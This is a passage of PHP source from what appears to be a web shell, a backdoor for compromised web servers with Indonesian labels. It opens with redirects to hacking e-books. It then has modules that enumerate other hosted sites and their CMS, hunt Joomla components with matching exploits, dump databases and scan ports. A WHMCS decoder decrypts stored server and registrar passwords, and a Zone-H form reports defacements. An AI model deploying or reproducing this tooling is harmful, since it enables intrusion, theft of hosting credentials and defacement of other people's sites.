\'http://xcode.or.id/files/xcode_magazine_4.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial8\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_5.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial9\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_6.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial10\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_7.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial11\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_8.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial12\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode9.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial13\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode10.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial14\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode11.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial15\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/Xcode12.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial16\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/Xcode13.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial17\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/Xcode14.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial18\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/Xcode15.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial19\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/xcode_magazine_16.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial20\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/xcode_magazine_17.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial21\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/xcode_magazine_18.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial22\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/xcode_magazine_19.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial23\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/xcode_magazine_20.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial024\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/xcode_magazine_21.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\t\r\n\t\telseif ( $pilih == \'tutorial24\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/hacking_exposed_5.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial25\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/internet_denial_of_service.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial26\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/computer_viruses_for_dummies.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial27\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/hack_attacks_testing.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial28\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/secrets_of_super_hacker.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial29\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/stealing_network_how_to_own_shadow.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial30\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.insecure.in/ebooks/webapp_hackers_handbook.rar\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'ddd\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://199.91.153.95/t8dni7k639hg/3o321lcwwk8u5bh/Open_Source_Security_Tools.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial31\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://205.196.121.149/sg22hm8qjbhg/afsa7ibbk4ny2kd/Mobile_Malware_Attacks_and_Defense.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'cryptography_for_defeloper\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://205.196.121.248/0sod33qw66ug/wypyz555sc9bn7h/Cryptography_for_Developers.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'forensic\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://205.196.120.85/uisebgmioyjg/6l70l00ba9yoksq/CD_and_DVD_Forensics.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'metasploit\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://199.91.153.192/3t115p2f6gvg/zvrrddmq6icqtd2/Metasploit_Toolkit.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}elseif ( $pilih == \'stealing_network\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://205.196.123.138/wbsxltb8rbtg/5vm8a1d23i9zje3/Stealing_the_Network_-_How_to_Own_the_Box.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}elseif ( $pilih == \'security_polices\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://199.91.153.73/6le01f562ehg/6l5ep021dhvlhlq/Creating_Security_Policies_and_Implementing_Identity_Management_with_Active_Directory.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n}\r\n\r\n}\r\n////////////////////////////////////////////////////////////////////\r\n\r\n//////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cms_detect\'))\r\n {\r\n ?>\r\n <form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">\r\n\t<br><br><br><br><center><b><font size=4>+--=[ CMS Detector ]=--+</font></b></center><br><br>\r\n <?php\r\nif(!file_exists(\'pee.tmp\')){\r\n@fopen(\'pee.tmp\', \'w\');\r\n\r\necho\'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">\';\r\necho\'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>\';\r\n\r\n$p = 0;\r\n\r\nif(is_readable("/var/named")){\r\n$list = scandir("/var/named");\r\n$current_dir = posix_getcwd();\r\n$dir = explode("/",$current_dir);\r\nforeach($list as $domain){\r\nif(strpos($domain,".db"))\r\n{\r\n\t$domain = str_replace(\'.db\',\'\',$domain);\r\n\t$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));\r\n\t\r\nerror_reporting(0);\r\n\r\n$link = $pageURL.\'pee/\'.$owner[\'name\'];\r\n\r\ncms_add($link,$domain,$owner[\'name\'],"WordPress");\r\ncms_add($link,$domain,$owner[\'name\'],"Joomla");\r\ncms_add($link,$domain,$owner[\'name\'],"vBulletin");\r\ncms_add($link,$domain,$owner[\'name\'],"WHMCS");\r\ncms_add($link,$domain,$owner[\'name\'],"PhpBB");\r\ncms_add($link,$domain,$owner[\'name\'],"MyBB");\r\ncms_add($link,$domain,$owner[\'name\'],"IPB");\r\ncms_add($link,$domain,$owner[\'name\'],"SMF");\r\ncms_add($link,$domain,$owner[\'name\'],"Drupal");\r\ncms_add($link,$domain,$owner[\'name\'],"e107");\r\ncms_add($link,$domain,$owner[\'name\'],"Seditio");\r\ncms_add($link,$domain,$owner[\'name\'],"osCommerce");\r\n\r\n}\r\n}\r\n}\r\n}else{\r\necho\'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">\';\r\necho\'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>\';\r\n$content = file_get_contents($pageURL.\'pee.tmp\');\r\necho $content;\r\n}\r\n}\r\n/////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jss\'))\r\n {\r\n ?>\r\n <form action="?y=<?php echo $pwd; ?>&x=jss" method="post">\r\n <?php\r\n\techo \'\r\n\r\n<br><br><br><p align="center"><b><font size="3">Enter Targeting IP</font></b></p><br>\r\n<form method="POST">\r\n <p align="center"><input type="text" class="inputz" name="site" size="65"><input class="inputzbut" type="submit" value="Scan"></p>\r\n</form><center>\r\n\r\n\';\r\n@set_time_limit(0);\r\n@error_reporting(E_ALL | E_NOTICE);\r\n \r\nfunction check_exploit($comxx){\r\n \r\n$link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";\r\n \r\n$result = @file_get_contents($link);\r\n \r\nif (eregi("No results",$result)) {\r\n \r\necho"<td>Not Found</td><td><a href=\'http://www.google.com/#hl=en&q=download+$comxx+joomla+extension\'>Download</a></td></tr>";\r\n \r\n}else{\r\n \r\necho"<td><a href=\'$link\'>Found</a></td><td><=</td></tr>";\r\n \r\n}\r\n}\r\n \r\nfunction check_com($url){\r\n \r\n$source = @file_get_contents($url);\r\n \r\npreg_match_all(\'{option,(.*?)/}i\',$source,$f);\r\npreg_match_all(\'{option=(.*?)(&|&|")}i\',$source,$f2);\r\npreg_match_all(\'{/components/(.*?)/}i\',$source,$f3);\r\n \r\n$arz=array_merge($f2[1],$f[1],$f3[1]);\r\n \r\n$coms=array();\r\n \r\nforeach(array_unique($arz) as $x){\r\n$coms[]=$x;\r\n}\r\n \r\nforeach($coms as $comm){\r\n \r\necho "<tr><td>$comm</td>";\r\ncheck_exploit($comm);\r\n}\r\n \r\n}\r\n \r\nfunction sec($site){\r\npreg_match_all(\'{http://(.*?)(/index.php)}siU\',$site, $sites);\r\nif(eregi("www",$sites[0][0])){\r\nreturn $site=str_replace("index.php","",$sites[0][0]);\r\n}else{\r\nreturn $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));\r\n}}\r\n \r\n$npages = 50000;\r\n \r\nif ($_POST)\r\n{\r\n $ip = trim(strip_tags($_POST[\'site\']));\r\n $npage = 1;\r\n $allLinks = array();\r\n \r\n \r\n while($npage <= $npages)\r\n {\r\n \r\n $x=@file_get_contents(\'http://www.bing.com/search?q=ip%3A\' . $ip . \'+index.php?option=com&first=\' . $npage);\r\n \r\n \r\n if ($x)\r\n {\r\n preg_match_all(\'(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>siU\', $x, $findlink);\r\n \r\n foreach ($findlink[1] as $fl)\r\n \r\n $allLinks[]=sec($fl);\r\n \r\n \r\n $npage = $npage + 10;\r\n \r\n if (preg_match(\'(first=\' . $npage . \'&)siU\', $x, $linksuiv) == 0)\r\n break; \r\n }\r\n \r\n else\r\n break;\r\n }\r\n \r\n \r\n$allDmns = array();\r\n \r\nforeach ($allLinks as $kk => $vv){\r\n \r\n$allDmns[] = $vv;\r\n}\r\n \r\necho\'<table border="1" width=\\"80%\\" align=\\"center\\">\r\n<tr><td width=\\"30%\\"><b>Server IP : </b></td><td><b>\'.$ip.\'</b></td></tr> \r\n<tr><td width=\\"30%\\"><b>Sites Found : </b></td><td><b>\'.count(array_unique($allDmns)).\'</b></td></tr>\r\n</table>\';\r\necho "<br><br>";\r\n \r\necho\'<table border="1" width="80%" align=\\"center\\">\';\r\n \r\nforeach(array_unique($allDmns) as $h3h3){\r\n \r\necho\'<tr id=new><td><b><a href=\'.$h3h3.\'>\'.$h3h3.\'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>\';\r\n \r\ncheck_com($h3h3);\r\n \r\n}\r\n \r\necho"</table>";\r\n \r\n}\r\n}\r\n/////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'dump\'))\r\n {\r\n ?>\r\n <form action="?y=<?php echo $pwd; ?>&x=dump" method="post">\r\n <?php\r\necho $head.\'<p align="center">\';\r\necho \'\r\n<table width=371 class=tabnet >\r\n<tr><th colspan="2">Database Dump</th></tr>\r\n<tr>\r\n\t<td>Server </td>\r\n\t<td><input class="inputz" type=text name=server size=52></td></tr><tr>\r\n\t<td>Username</td>\r\n\t<td><input class="inputz" type=text name=username size=52></td></tr><tr>\r\n\t<td>Password</td>\r\n\t<td><input class="inputz" type=text name=password size=52></td></tr><tr>\r\n\t<td>DataBase Name</td>\r\n\t<td><input class="inputz" type=text name=dbname size=52></td></tr>\r\n\t<tr>\r\n\t<td>DB Type </td>\r\n\t<td><form method=post action="\'.$me.\'">\r\n\t<select class="inputz" name=method>\r\n\t\t<option value="gzip">Gzip</option>\r\n\t\t<option value="sql">Sql</option>\r\n\t\t</select>\r\n\t<input class="inputzbut" type=submit value=" Dump! " ></td></tr>\r\n\t</form></center></table>\';\r\nif ($_POST[\'username\'] && $_POST[\'dbname\'] && $_POST[\'method\']){\r\n$date = date("Y-m-d");\r\n$dbserver = $_POST[\'server\'];\r\n$dbuser = $_POST[\'username\'];\r\n$dbpass = $_POST[\'password\'];\r\n$dbname = $_POST[\'dbname\'];\r\n$file = "Dump-$dbname-$date";\r\n$method = $_POST[\'method\'];\r\nif ($method==\'sql\'){\r\n$file="Dump-$dbname-$date.sql";\r\n$fp=fopen($file,"w");\r\n}else{\r\n$file="Dump-$dbname-$date.sql.gz";\r\n$fp = gzopen($file,"w");\r\n}\r\nfunction write($data) {\r\nglobal $fp;\r\nif ($_POST[\'method\']==\'ssql\'){\r\nfwrite($fp,$data);\r\n}else{\r\ngzwrite($fp, $data);\r\n}}\r\nmysql_connect ($dbserver, $dbuser, $dbpass);\r\nmysql_select_db($dbname);\r\n$tables = mysql_query ("SHOW TABLES");\r\nwhile ($i = mysql_fetch_array($tables)) {\r\n $i = $i[\'Tables_in_\'.$dbname];\r\n $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));\r\n write($create[\'Create Table\'].";\\n\\n");\r\n $sql = mysql_query ("SELECT * FROM ".$i);\r\n if (mysql_num_rows($sql)) {\r\n while ($row = mysql_fetch_row($sql)) {\r\n foreach ($row as $j => $k) {\r\n $row[$j] = "\'".mysql_escape_string($k)."\'";\r\n }\r\n write("INSERT INTO $i VALUES(".implode(",", $row).");\\n");\r\n }\r\n }\r\n}\r\nif ($method==\'ssql\'){\r\nfclose ($fp);\r\n}else{\r\ngzclose($fp);}\r\nheader("Content-Disposition: attachment; filename=" . $file); \r\nheader("Content-Type: application/download");\r\nheader("Content-Length: " . filesize($file));\r\nflush();\r\n\r\n$fp = fopen($file, "r");\r\nwhile (!feof($fp))\r\n{\r\n echo fread($fp, 65536);\r\n flush();\r\n} \r\nfclose($fp); \r\n}\r\n\r\n}\r\n/////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'port-sc\'))\r\n {\r\n ?>\r\n <form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">\r\n <?php\r\n echo \'<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>\';\r\n $start = strip_tags($_POST[\'start\']);\r\n $end = strip_tags($_POST[\'end\']);\r\n $host = strip_tags($_POST[\'host\']);\r\n if(isset($_POST[\'host\']) && is_numeric($_POST[\'end\']) && is_numeric($_POST[\'start\'])){\r\n for($i = $start; $i<=$end; $i++){\r\n $fp = @fsockopen($host, $i, $errno, $errstr, 3);\r\n if($fp){\r\n echo \'Port \'.$i.\' is <font color=green>open</font><br>\';\r\n }\r\n flush();\r\n }\r\n }else{\r\n echo \'<table class=tabnet style="width:300px;padding:0 1px;">\r\n <input type="hidden" name="y" value="phptools">\r\n <tr><th colspan="5">Port Scanner</th></center></tr>\r\n <tr>\r\n\t\t<td>Host</td>\r\n\t\t<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="host" value="localhost"/></td>\r\n </tr>\r\n <tr>\r\n\t\t<td>Port start</td>\r\n\t\t<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="start" value="0"/></td>\r\n </tr>\r\n\t<tr><td>Port end</td>\r\n\t\t<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="end" value="5000"/></td>\r\n </tr><td><input class="inputzbut" type="submit" style="color:#00ff00" value="Scan Ports" />\r\n </td></form></center></table>\';\r\n }\r\n}\r\n/////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'hash\'))\r\n {\r\n$submit= $_POST[\'enter\'];\r\nif (isset($submit)) {\r\n$pass = $_POST[\'password\']; // password\r\n$salt = \'}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN\'; // random string\r\n$hash = md5($pass); // md5 hash #1\r\n$md4 = hash("md4",$pass);\r\n$hash_md5 = md5($salt.$pass); // md5 hash with salt #2\r\n$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3\r\n$hash1 = sha1($pass); // sha1 hash #4\r\n$sha256 = hash("sha256",$text);\r\n$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5\r\n$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6\r\n}\r\necho \'<form action="" method="post"><b><table class=tabnet>\';\r\necho \'<tr><th colspan="2">Password Hash</th></center></tr>\';\r\necho \'<tr><td><b>masukan kata yang ingin di encrypt:</b></td>\';\r\necho \'<td><input class="inputz" type="text" name="password" size="40" />\';\r\necho \'<input class="inputzbut" type="submit" name="enter" value="hash" />\';\r\necho \'</td></tr><br>\';\r\necho \'<tr><th colspan="2">Hasil Hash</th></center></tr>\';\r\necho \'<tr><td>Original Password</td><td><input class=inputz type=text size=50 value=\'.$pass.\'></td></tr><br><br>\';\r\necho \'<tr><td>MD5</td><td><input class=inputz type=text size=50 value=\'.$hash.\'></td></tr><br><br>\';\r\necho \'<tr><td>MD4</td><td><input class=inputz type=text size=50 value=\'.$md4.\'></td></tr><br><br>\';\r\necho \'<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value=\'.$hash_md5.\'></td></tr><br><br>\';\r\necho \'<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value=\'.$hash_md5_double.\'></td></tr><br><br>\';\r\necho \'<tr><td>Sha1</td><td><input class=inputz type=text size=50 value=\'.$hash1.\'></td></tr><br><br>\';\r\necho \'<tr><td>Sha256</td><td><input class=inputz type=text size=50 value=\'.$sha256.\'></td></tr><br><br>\';\r\necho \'<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value=\'.$hash1_sha1.\'></td></tr><br><br>\';\r\necho \'<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value=\'.$hash1_sha1_double.\'></td></tr><br><br></table>\'; \r\n}\r\n\r\n/////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'whmcs\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">\r\n\r\n<?php\r\n\r\nfunction decrypt ($string,$cc_encryption_hash)\r\n{\r\n $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);\r\n $hash_key = _hash ($key);\r\n $hash_length = strlen ($hash_key);\r\n $string = base64_decode ($string);\r\n $tmp_iv = substr ($string, 0, $hash_length);\r\n $string = substr ($string, $hash_length, strlen ($string) - $hash_length);\r\n $iv = $out = \'\';\r\n $c = 0;\r\n while ($c < $hash_length)\r\n {\r\n $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));\r\n ++$c;\r\n }\r\n $key = $iv;\r\n $c = 0;\r\n while ($c < strlen ($string))\r\n {\r\n if (($c != 0 AND $c % $hash_length == 0))\r\n {\r\n $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));\r\n }\r\n $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));\r\n ++$c;\r\n }\r\n return $out;\r\n}\r\n\r\nfunction _hash ($string)\r\n{\r\n if (function_exists (\'sha1\'))\r\n {\r\n $hash = sha1 ($string);\r\n }\r\n else\r\n {\r\n $hash = md5 ($string);\r\n }\r\n $out = \'\';\r\n $c = 0;\r\n while ($c < strlen ($hash))\r\n {\r\n $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));\r\n $c += 2;\r\n }\r\n return $out;\r\n}\r\n\r\necho "\r\n<br><center><font size=\'5\' color=\'#00ff00\'><b>-=[ WHMCS Decoder ]=-</b></font></center>\r\n<center>\r\n<br>\r\n\r\n<FORM action=\'\' method=\'post\'>\r\n<input type=\'hidden\' name=\'form_action\' value=\'2\'>\r\n<br>\r\n<table class=tabnet style=width:320px;padding:0 1px;>\r\n<tr><th colspan=2>WHMCS Decoder</th></tr> \r\n<tr><td>db_host </td><td><input type=\'text\' style=\'color:#00ff00;background-color:\' class=\'inputz\' size=\'38\' name=\'db_host\' value=\'localhost\'></td></tr>\r\n<tr><td>db_username </td><td><input type=\'text\' style=\'color:#00ff00;background-color:\' class=\'inputz\' size=\'38\' name=\'db_username\' value=\'\'></td></tr>\r\n<tr><td>db_password</td><td><input type=\'text\' style=\'color:#00ff00;background-color:\' class=\'inputz\' size=\'38\' name=\'db_password\' value=\'\'></td></tr>\r\n<tr><td>db_name</td><td><input type=\'text\' style=\'color:#00ff00;background-color:\' class=\'inputz\' size=\'38\' name=\'db_name\' value=\'\'></td></tr>\r\n<tr><td>cc_encryption_hash</td><td><input style=\'color:#00ff00;background-color:\' type=\'text\' class=\'inputz\' size=\'38\' name=\'cc_encryption_hash\' value=\'\'></td></tr>\r\n<td> <INPUT class=\'inputzbut\' type=\'submit\' style=\'color:#00ff00;background-color:\' value=\'Submit\' name=\'Submit\'></td>\r\n</table>\r\n</FORM>\r\n</center>\r\n";\r\n\r\n if($_POST[\'form_action\'] == 2 )\r\n {\r\n //include($file);\r\n $db_host=($_POST[\'db_host\']);\r\n $db_username=($_POST[\'db_username\']);\r\n $db_password=($_POST[\'db_password\']);\r\n $db_name=($_POST[\'db_name\']);\r\n $cc_encryption_hash=($_POST[\'cc_encryption_hash\']);\r\n\r\n\r\n\r\n $link=mysql_connect($db_host,$db_username,$db_password) ;\r\n mysql_select_db($db_name,$link) ;\r\n$query = mysql_query("SELECT * FROM tblservers");\r\nwhile($v = mysql_fetch_array($query)) {\r\n$ipaddress = $v[\'ipaddress\'];\r\n$username = $v[\'username\'];\r\n$type = $v[\'type\'];\r\n$active = $v[\'active\'];\r\n$hostname = $v[\'hostname\'];\r\necho("<center><table border=\'1\'>");\r\n$password = decrypt ($v[\'password\'], $cc_encryption_hash);\r\necho("<tr><td>Type</td><td>$type</td></tr>");\r\necho("<tr><td>Active</td><td>$active</td></tr>");\r\necho("<tr><td>Hostname</td><td>$hostname</td></tr>");\r\necho("<tr><td>Ip</td><td>$ipaddress</td></tr>");\r\necho("<tr><td>Username</td><td>$username</td></tr>");\r\necho("<tr><td>Password</td><td>$password</td></tr>");\r\n\r\necho "</table><br><br></center>";\r\n}\r\n\r\n $link=mysql_connect($db_host,$db_username,$db_password) ;\r\n mysql_select_db($db_name,$link) ;\r\n$query = mysql_query("SELECT * FROM tblregistrars");\r\necho("<center>Domain Reseller <br><table class=tabnet border=\'1\'>");\r\necho("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");\r\nwhile($v = mysql_fetch_array($query)) {\r\n$registrar = $v[\'registrar\'];\r\n$setting = $v[\'setting\'];\r\n$value = decrypt ($v[\'value\'], $cc_encryption_hash);\r\nif ($value=="") {\r\n$value=0;\r\n}\r\n$password = decrypt ($v[\'password\'], $cc_encryption_hash);\r\necho("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");\r\n}\r\n}\r\n}\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'zone\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=zone" method="post">\r\n\r\n<br><br><center>\r\n<!-- Zone-H -->\r\n<form action="" method=\'POST\'><table><table class=\'tabnet\'><tr>\r\n<td style=\'background-color:#0000;padding-left:10px;\'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height=\'45\' colspan=\'2\'><form method="post">\r\n<input type="text" class="inputz" name="defacer" value="Nama Defacer" />\r\n<select name="hackmode" class="inputz" >\r\n<option >------------------------Pilih Salah Satu------------------------</option>\r\n<option value="1">known vulnerability (i.e. unpatched system)</option>\r\n<option value="2" >undisclosed (new) vulnerability</option>\r\n<option value="3" >configuration / admin. mistake</option>\r\n<option value="4" >brute force attack</option>\r\n<option value="5" >social engineering</option>\r\n<option value="6" >Web Server intrusion</option>\r\n<option value="7" >Web Server external module intrusion</option>\r\n<option value="8" >Mail Server intrusion</option>\r\n<option value="9" >FTP Server intrusion</option>\r\n<option value="10" >SSH Server intrusion</option>\r\n<option value="11" >Telnet Server intrusion</option>\r\n<option value="12" >RPC Server intrusion</option>\r\n<option value="13" >Shares misconfiguration</option>\r\n<option value="14" >Other Server intrusion</option>\r\n<option value="15" >SQL Injection</option>\r\n<option value="16" >URL Poisoning</option>\r\n<option value="17" >File Inclusion</option>\r\n<option value="18" >Other Web Application bug</option>\r\n<option value="19" >Remote administrative panel access bruteforcing</option>\r\n<option value="20" >Remote administrative panel access password guessing</option>\r\n<option value="21" >Remote administrative panel access social engineering</option>\r\n<option value="22" >Attack against administrator(password stealing/sniffing)</option>\r\n<option value="23" >Access credentials through Man In the Middle attack</option>\r\n<option value="24" >Remote service password guessing</option>\r\n<option value="25" >Remote service password bruteforce</option>\r\n<option value="26" >Rerouting after attacking the Firewall</option>\r\n<option value="27" >Rerouting after attacking the Router</option>\r\n<option value="28" >DNS attack through social engineering</option>\r\n<option value="29" >DNS attack through cache poisoning</option>\r\n<option value="30" >Not available</option>\r\n</select>\r\n\r\n<select name="reason" class="inputz" >\r\n<option >-------------Pilih Salah Satu---------------</option>\r\n<option value="1" >Heh...just for fun!</option>\r\n<option value="2" >Revenge against that website</option>\r\n<option value="3" >Political reasons</option>\r\n<option value="4" >As a challenge</option>\r\n<option value="5" >I just want to be the best defacer</option>\r\n<option value="6" >Patriotism</option>\r\n<option value="7" >Not available</option>\r\n</select>\r\n<input type="hidden" name="action" value="zone">\r\n<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>\r\n<br /><input class=\'inputzbut\' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>\r\n</form></td></tr></table></form>\r\n<!-- End Of 